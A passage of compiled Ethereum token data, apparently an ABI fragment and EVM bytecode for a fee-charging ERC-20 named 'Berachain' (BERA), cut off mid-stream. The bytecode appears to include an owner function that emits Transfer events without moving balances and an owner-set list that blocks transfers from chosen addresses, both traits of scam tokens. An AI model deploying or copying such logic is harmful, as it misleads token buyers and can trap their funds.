IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTxnNum","type":"uint256"},{"internalType":"uint256","name":"newMaxWalletNum","type":"uint256"}],"name":"updateMaxWalletAndTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040523480156200001157600080fd5b5060405162005c6d38038062005c6d8339818101604052810190620000379190620009b2565b806040518060400160405280600981526020017f42657261636861696e00000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f42455241000000000000000000000000000000000000000000000000000000008152508160039081620000b5919062000c5e565b508060049081620000c7919062000c5e565b50505080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200012b6200011f620003db60201b60201c565b620003e360201b60201c565b506000737a250d5630b4cf539739df2c5dacb4c659f2488d905062000158816001620004a960201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506000600a905060008060289050600080620001ac6200059360201b60201c565b600a620001ba919062000ed5565b6402540be400620001cc919062000f26565b9050620001de6200059360201b60201c565b600a620001ec919062000ed5565b630bebc200620001fd919062000f26565b600a81905550620002136200059360201b60201c565b600a62000221919062000ed5565b6311e1a30062000232919062000f26565b600c81905550612710600a826200024a919062000f26565b62000256919062000fa0565b600b8190555083600e8190555084600f81905550600e54600f546200027c919062000fd8565b6010819055508160148190555082601381905550601454601354620002a2919062000fd8565b60128190555060125460118190555030600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000314620003066200059c60201b60201c565b6001620005c660201b60201c565b62000327306001620005c660201b60201c565b6200033c61dead6001620005c660201b60201c565b6200035e620003506200059c60201b60201c565b6001620004a960201b60201c565b62000371306001620004a960201b60201c565b6200038661dead6001620004a960201b60201c565b6001600d60006101000a81548160ff0219169083151502179055506001600d60026101000a81548160ff021916908315150217905550620003ce33826200070060201b60201c565b5050505050505062001170565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b620004b9620003db60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620004df6200087860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000538576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200052f9062001074565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006009905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620005d6620003db60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620005fc6200087860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000655576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200064c9062001074565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620006f49190620010b3565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000772576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007699062001120565b60405180910390fd5b62000786600083836200089460201b60201c565b80600260008282546200079a919062000fd8565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620007f1919062000fd8565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000858919062001153565b60405180910390a362000874600083836200089960201b60201c565b5050565b6000806200088b6200089e60201b60201c565b90508091505090565b505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146200091f57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000943565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200097a826200094d565b9050919050565b6200098c816200096d565b81146200099857600080fd5b50565b600081519050620009ac8162000981565b92915050565b600060208284031215620009cb57620009ca62000948565b5b6000620009db848285016200099b565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a6657607f821691505b60208210810362000a7c5762000a7b62000a1e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000ae67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000aa7565b62000af2868362000aa7565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000b3f62000b3962000b338462000b0a565b62000b14565b62000b0a565b9050919050565b6000819050919050565b62000b5b8362000b1e565b62000b7362000b6a8262000b46565b84845462000ab4565b825550505050565b600090565b62000b8a62000b7b565b62000b9781848462000b50565b505050565b5b8181101562000bbf5762000bb360008262000b80565b60018101905062000b9d565b5050565b601f82111562000c0e5762000bd88162000a82565b62000be38462000a97565b8101602085101562000bf3578190505b62000c0b62000c028562000a97565b83018262000b9c565b50505b505050565b600082821c905092915050565b600062000c336000198460080262000c13565b1980831691505092915050565b600062000c4e838362000c20565b9150826002028217905092915050565b62000c6982620009e4565b67ffffffffffffffff81111562000c855762000c84620009ef565b5b62000c91825462000a4d565b62000c9e82828562000bc3565b600060209050601f83116001811462000cd6576000841562000cc1578287015190505b62000ccd858262000c40565b86555062000d3d565b601f19841662000ce68662000a82565b60005b8281101562000d105784890151825560018201915060208501945060208101905062000ce9565b8683101562000d30578489015162000d2c601f89168262000c20565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000dd35780860481111562000dab5762000daa62000d45565b5b600185161562000dbb5780820291505b808102905062000dcb8562000d74565b945062000d8b565b94509492505050565b60008262000dee576001905062000ec1565b8162000dfe576000905062000ec1565b816001811462000e17576002811462000e225762000e58565b600191505062000ec1565b60ff84111562000e375762000e3662000d45565b5b8360020a91508482111562000e515762000e5062000d45565b5b5062000ec1565b5060208310610133831016604e8410600b841016171562000e925782820a90508381111562000e8c5762000e8b62000d45565b5b62000ec1565b62000ea1848484600162000d81565b9250905081840481111562000ebb5762000eba62000d45565b5b81810290505b9392505050565b600060ff82169050919050565b600062000ee28262000b0a565b915062000eef8362000ec8565b925062000f1e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000ddc565b905092915050565b600062000f338262000b0a565b915062000f408362000b0a565b925082820262000f508162000b0a565b9150828204841483151762000f6a5762000f6962000d45565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000fad8262000b0a565b915062000fba8362000b0a565b92508262000fcd5762000fcc62000f71565b5b828204905092915050565b600062000fe58262000b0a565b915062000ff28362000b0a565b92508282019050808211156200100d576200100c62000d45565b5b92915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006200105c60208362001013565b9150620010698262001024565b602082019050919050565b600060208201905081810360008301526200108f816200104d565b9050919050565b60008115159050919050565b620010ad8162001096565b82525050565b6000602082019050620010ca6000830184620010a2565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062001108601f8362001013565b91506200111582620010d0565b602082019050919050565b600060208201905081810360008301526200113b81620010f9565b9050919050565b6200114d8162000b0a565b82525050565b60006020820190506200116a600083018462001142565b92915050565b608051614abe620011af60003960008181610ac8015281816130200152818161310101528181613128015281816131c401526131eb0152614abe6000f3fe6080604052600436106102295760003560e01c806375f0a87411610123578063c0246668116100ab578063d882ddd01161006f578063d882ddd01461083e578063dd62ed3e14610867578063e2f45605146108a4578063f2fde38b146108cf578063f8b45b05146108f857610230565b8063c024666814610759578063c2b7bbb614610782578063c8c8ebe4146107ab578063d257b34f146107d6578063d85ba0631461081357610230565b80639a7a23d6116100f25780639a7a23d614610660578063a457c2d714610689578063a64e4f8a146106c6578063a9059cbb146106f1578063bbc0c7421461072e57610230565b806375f0a874146105b65780638da5cb5b146105e157806395d89b411461060c578063961883991461063757610230565b806339509351116101b15780636a486a8e116101755780636a486a8e146104e35780636ddd17131461050e57806370a0823114610539578063715018a6146105765780637571336a1461058d57610230565b806339509351146103d857806349bd5a5e146104155780634fbee193146104405780635caea9cb1461047d57806366ca9b83146104ba57610230565b806318160ddd116101f857806318160ddd146102f157806323b872dd1461031c57806326ededb81461035957806327c8f83514610382578063313ce567146103ad57610230565b806302dbd8f81461023557806306fdde031461025e578063095ea7b3146102895780631694505e146102c657610230565b3661023057005b600080fd5b34801561024157600080fd5b5061025c600480360381019061025791906132da565b610923565b005b34801561026a57600080fd5b50610273610a16565b60405161028091906133aa565b60405180910390f35b34801561029557600080fd5b506102b060048036038101906102ab919061342a565b610aa8565b6040516102bd9190613485565b60405180910390f35b3480156102d257600080fd5b506102db610ac6565b6040516102e891906134ff565b60405180910390f35b3480156102fd57600080fd5b50610306610aea565b6040516103139190613529565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e9190613544565b610af4565b6040516103509190613485565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b91906135fc565b610bec565b005b34801561038e57600080fd5b50610397610d3d565b6040516103a4919061366b565b60405180910390f35b3480156103b957600080fd5b506103c2610d43565b6040516103cf91906136a2565b60405180910390f35b3480156103e457600080fd5b506103ff60048036038101906103fa919061342a565b610d4c565b60405161040c9190613485565b60405180910390f35b34801561042157600080fd5b5061042a610df8565b604051610437919061366b565b60405180910390f35b34801561044c57600080fd5b50610467600480360381019061046291906136bd565b610e1e565b6040516104749190613485565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f91906136bd565b610e74565b6040516104b19190613485565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc91906132da565b610eca565b005b3480156104ef57600080fd5b506104f8610fb4565b6040516105059190613529565b60405180910390f35b34801561051a57600080fd5b50610523610fba565b6040516105309190613485565b60405180910390f35b34801561054557600080fd5b50610560600480360381019061055b91906136bd565b610fcd565b60405161056d9190613529565b60405180910390f35b34801561058257600080fd5b5061058b611015565b005b34801561059957600080fd5b506105b460048036038101906105af9190613716565b61109d565b005b3480156105c257600080fd5b506105cb611174565b6040516105d8919061366b565b60405180910390f35b3480156105ed57600080fd5b506105f661119a565b604051610603919061366b565b60405180910390f35b34801561061857600080fd5b506106216111c4565b60405161062e91906133aa565b60405180910390f35b34801561064357600080fd5b5061065e600480360381019061065991906132da565b611256565b005b34801561066c57600080fd5b5061068760048036038101906106829190613716565b61143a565b005b34801561069557600080fd5b506106b060048036038101906106ab919061342a565b61155e565b6040516106bd9190613485565b60405180910390f35b3480156106d257600080fd5b506106db611649565b6040516106e89190613485565b60405180910390f35b3480156106fd57600080fd5b506107186004803603810190610713919061342a565b61165c565b6040516107259190613485565b60405180910390f35b34801561073a57600080fd5b5061074361167a565b6040516107509190613485565b60405180910390f35b34801561076557600080fd5b50610780600480360381019061077b9190613716565b61168d565b005b34801561078e57600080fd5b506107a960048036038101906107a491906136bd565b6117b2565b005b3480156107b757600080fd5b506107c0611872565b6040516107cd9190613529565b60405180910390f35b3480156107e257600080fd5b506107fd60048036038101906107f89190613756565b611878565b60405161080a9190613485565b60405180910390f35b34801561081f57600080fd5b506108286119cd565b6040516108359190613529565b60405180910390f35b34801561084a57600080fd5b5061086560048036038101906108609190613783565b6119d3565b005b34801561087357600080fd5b5061088e600480360381019061088991906137e3565b611af4565b60405161089b9190613529565b60405180910390f35b3480156108b057600080fd5b506108b9611b7b565b6040516108c69190613529565b60405180910390f35b3480156108db57600080fd5b506108f660048036038101906108f191906136bd565b611b81565b005b34801561090457600080fd5b5061090d611c78565b60405161091a9190613529565b60405180910390f35b61092b611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610949611c86565b73ffffffffffffffffffffffffffffffffffffffff161461099f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109969061386f565b60405180910390fd5b81601381905550806014819055506014546013546109bd91906138be565b60128190555060125460118190555060636012541115610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a099061393e565b60405180910390fd5b5050565b606060038054610a259061398d565b80601f0160208091040260200160405190810160405280929190818152602001828054610a519061398d565b8015610a9e5780601f10610a7357610100808354040283529160200191610a9e565b820191906000526020600020905b815481529060010190602001808311610a8157829003601f168201915b5050505050905090565b6000610abc610ab5611c7e565b8484611c9a565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b6000610b01848484611e63565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b4c611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc390613a30565b60405180910390fd5b610be085610bd8611c7e565b858403611c9a565b60019150509392505050565b610bf4611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610c12611c86565b73ffffffffffffffffffffffffffffffffffffffff1614610c68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5f9061386f565b60405180910390fd5b60005b83839050811015610d3757838382818110610c8957610c88613a50565b5b9050602002016020810190610c9e91906136bd565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d1c9190613529565b60405180910390a38080610d2f90613a7f565b915050610c6b565b50505050565b61dead81565b60006009905090565b6000610dee610d59611c7e565b848460016000610d67611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de991906138be565b611c9a565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610ed2611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610ef0611c86565b73ffffffffffffffffffffffffffffffffffffffff1614610f46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3d9061386f565b60405180910390fd5b81600f8190555080600e81905550600e54600f54610f6491906138be565b60108190555060146010541115610fb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa790613b13565b60405180910390fd5b5050565b60125481565b600d60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61101d611c7e565b73ffffffffffffffffffffffffffffffffffffffff1661103b611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611091576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110889061386f565b60405180910390fd5b61109b600061289a565b565b6110a5611c7e565b73ffffffffffffffffffffffffffffffffffffffff166110c3611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611119576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111109061386f565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546111d39061398d565b80601f01602080910402602001604051908101604052809291908181526020018280546111ff9061398d565b801561124c5780601f106112215761010080835404028352916020019161124c565b820191906000526020600020905b81548152906001019060200180831161122f57829003601f168201915b5050505050905090565b61125e611c7e565b73ffffffffffffffffffffffffffffffffffffffff1661127c611c86565b73ffffffffffffffffffffffffffffffffffffffff16146112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c99061386f565b60405180910390fd5b6112da610d43565b600a6112e69190613c66565b6103e860056112f3610aea565b6112fd9190613cb1565b6113079190613d22565b6113119190613d22565b821015611353576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134a90613dc5565b60405180910390fd5b61135b610d43565b600a6113679190613c66565b6103e86005611374610aea565b61137e9190613cb1565b6113889190613d22565b6113929190613d22565b8110156113d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cb90613e57565b60405180910390fd5b6113dc610d43565b600a6113e89190613c66565b600a6113f49190613e77565b816113ff9190613cb1565b600c8190555061140d610d43565b600a6114199190613c66565b600a6114259190613e77565b826114309190613cb1565b600a819055505050565b611442611c7e565b73ffffffffffffffffffffffffffffffffffffffff16611460611c86565b73ffffffffffffffffffffffffffffffffffffffff16146114b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ad9061386f565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153d90613f34565b60405180910390fd5b611550828261109d565b61155a8282612960565b5050565b6000806001600061156d611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561162a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162190613fc6565b60405180910390fd5b61163e611635611c7e565b85858403611c9a565b600191505092915050565b600d60019054906101000a900460ff1681565b6000611670611669611c7e565b8484611e63565b6001905092915050565b600d60009054906101000a900460ff1681565b611695611c7e565b73ffffffffffffffffffffffffffffffffffffffff166116b3611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611709576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117009061386f565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516117a69190613485565b60405180910390a25050565b6117ba611c7e565b73ffffffffffffffffffffffffffffffffffffffff166117d8611c86565b73ffffffffffffffffffffffffffffffffffffffff161461182e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118259061386f565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a5481565b6000611882611c7e565b73ffffffffffffffffffffffffffffffffffffffff166118a0611c86565b73ffffffffffffffffffffffffffffffffffffffff16146118f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ed9061386f565b60405180910390fd5b620186a06001611904610aea565b61190e9190613cb1565b6119189190613d22565b82101561195a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195190614058565b60405180910390fd5b6103e86005611967610aea565b6119719190613cb1565b61197b9190613d22565b8211156119bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b4906140ea565b60405180910390fd5b81600b8190555060019050919050565b60105481565b6119db611c7e565b73ffffffffffffffffffffffffffffffffffffffff166119f9611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a469061386f565b60405180910390fd5b60005b83839050811015611aee578160076000868685818110611a7557611a74613a50565b5b9050602002016020810190611a8a91906136bd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611ae690613a7f565b915050611a52565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b611b89611c7e565b73ffffffffffffffffffffffffffffffffffffffff16611ba7611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf49061386f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c639061417c565b60405180910390fd5b611c758161289a565b50565b600c5481565b600033905090565b600080611c91612a01565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d009061420e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6f906142a0565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e569190613529565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ed2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec99061430c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3890614378565b60405180910390fd5b60008103611f5a57611f5583836000612aa9565b612895565b611f6261119a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611fd05750611fa061119a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120095750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612043575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561205c5750600860149054906101000a900460ff16155b1561239057600d60009054906101000a900460ff1661215657601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121165750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214c906143e4565b60405180910390fd5b5b601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121f95750601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122a057600a54811115612243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223a90614476565b60405180910390fd5b600c5461224f83610fcd565b8261225a91906138be565b111561229b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612292906144e2565b60405180910390fd5b61238f565b601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123435750601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561238e57600a5481111561238d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238490614574565b60405180910390fd5b5b5b5b600061239b30610fcd565b90506000600b5482101590508080156123c05750600d60029054906101000a900460ff165b80156123d95750600860149054906101000a900460ff16155b801561242f5750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124855750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124db5750601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561251f576001600860146101000a81548160ff021916908315150217905550612503612d28565b6000600860146101000a81548160ff0219169083151502179055505b6000600860149054906101000a900460ff16159050601760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125d55750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806125ed5750600d60019054906101000a900460ff16155b1561264e57600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561264957600080fd5b600090505b6000811561287c576001600d60016101000a81548160ff021916908315150217905550601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156126cc57506000601254115b15612766576126f960646126eb60125488612f3590919063ffffffff16565b612f4b90919063ffffffff16565b90506012546014548261270c9190613cb1565b6127169190613d22565b6016600082825461272791906138be565b925050819055506012546013548261273f9190613cb1565b6127499190613d22565b6015600082825461275a91906138be565b92505081905550612858565b601960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127c157506000601054115b15612857576127ee60646127e060105488612f3590919063ffffffff16565b612f4b90919063ffffffff16565b9050601054600e54826128019190613cb1565b61280b9190613d22565b6016600082825461281c91906138be565b92505081905550601054600f54826128349190613cb1565b61283e9190613d22565b6015600082825461284f91906138be565b925050819055505b5b600081111561286d5761286c873083612aa9565b5b80856128799190614594565b94505b612887878787612aa9565b601154601281905550505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a8057600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612aa4565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0f9061463a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612b87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7e906146cc565b60405180910390fd5b612b92838383612f61565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0f9061475e565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612cab91906138be565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460